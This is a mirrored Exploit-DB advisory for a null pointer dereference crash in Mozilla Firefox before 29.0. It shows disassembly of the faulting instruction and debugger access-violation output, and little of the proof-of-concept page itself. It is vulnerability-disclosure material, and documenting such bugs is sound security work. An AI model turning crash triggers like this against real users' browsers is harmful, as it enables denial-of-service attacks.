Mozilla Firefox 29.0 – Null Pointer Dereference

  • 作者： Mr.XHat
    日期： 2014-05-16
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/33386/
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<title>Mozilla Firefox Null Pointer Dereference Vulnerability</title>
<pre>
Fun side of life!
<br>
Details:
	Title: Mozilla Firefox Null Pointer Dereference Vulnerability
	Version: Prior to 29.0
	Date: 4/30/2014
	Discovered By: Mr.XHat
	E-Mail: Mr.XHat {AT} GMail.com
	Tested On: Windows 7 x64 EN
###################################
Disassembly:
	01694240 8bc2mov eax,edx
	01694242 d9e0fchs
	01694244 8b550cmov edx,dword ptr [ebp+0Ch]
	01694247 d95c2418fstpdword ptr [esp+18h]
	0169424b 8b1amov ebx,dword ptr [edx]ds:0023:00000000=????????
	0169424d d9442418fld dword ptr [esp+18h]
	01694251 8d4c2420lea ecx,[esp+20h]
	01694255 d9c0fld st(0)
	01694257 51pushecx
============================================
Output:
	(e0.544): Access violation - code c0000005 (first chance)
	First chance exceptions are reported before any exception handling.
	This exception may be expected and handled.
	eax=07e1fd00 ebx=0994bf90 ecx=000001f8 edx=00000000 esi=000000a8 edi=00000000
	eip=0169424b esp=0012c8f0 ebp=0012c940 iopl=0 nv up ei pl nz na po nc
	cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
	*** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Program Files\Mozilla Firefox\xul.dll - 
	xul!NS_NewLocalFile+0x2a49c:
	0169424b 8b1amov ebx,dword ptr [edx]ds:0023:00000000=????????
#######################################################################################
</pre>
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<br><br>
I kill you again!
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